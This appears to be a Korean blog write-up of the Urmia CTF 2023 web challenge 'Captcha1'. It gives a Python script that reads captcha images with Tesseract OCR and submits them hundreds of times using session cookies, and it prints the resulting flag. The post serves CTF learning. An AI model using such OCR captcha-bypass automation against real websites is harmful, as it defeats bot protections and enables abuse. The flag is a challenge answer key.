CTF/Web

[Urmia CTF 2023] Captcha1 | the Missing Lake

youung 2023. 9. 8. 20:56
728x90
반응형

문제 정보

 

 

 

 

접속 시 나타나는 화면

이 문제는 보안문자를 300번을 풀면 FLAG가 출력되는 문제다!

 

 

 

 

 

import re
import base64
import requests
import pytesseract
from PIL import Image

URL = 'https://captcha1.uctf.ir'

cookies = {
    'PHPSESSID': '7ecgsnlicl442qiu4veej63m1i',
    '926835342a210d84823968c8328cc3c8' : 'fa98c47354cfa95fd353ea8395ed0ae6'
}

image = re.search(r'data:image\/png;base64,([^"]*)"', requests.get(URL + '/', cookies=cookies).text)[1]
with open("image.png", 'bw') as fp:
    fp.write(base64.b64decode(image))

for i in range(500):
    print(i)
    ocred = pytesseract.image_to_string(Image.open("image.png")).strip()
    t = requests.post(URL + '/', data={'captcha': ocred}, cookies=cookies).text
    image = re.search(r'data:image\/png;base64,([^"]*)"', t)[1]
    with open("image.png", 'bw') as fp:
        fp.write(base64.b64decode(image))

 

cookies
cookies

 

 

 

 

 

 

코드를 실행하고 새로고침을 해보면 카운트가 줄어드는 걸 확인할 수 있다!

 

 

 

 

 

 

 

FLAG

300개의 보안 문자를 모두 해결했더니 FLAG가 출력되었다!

 

 

 

 

 

FLAG

UCTF{7h3_m1551n6_l4k3}

 

 

 

728x90
반응형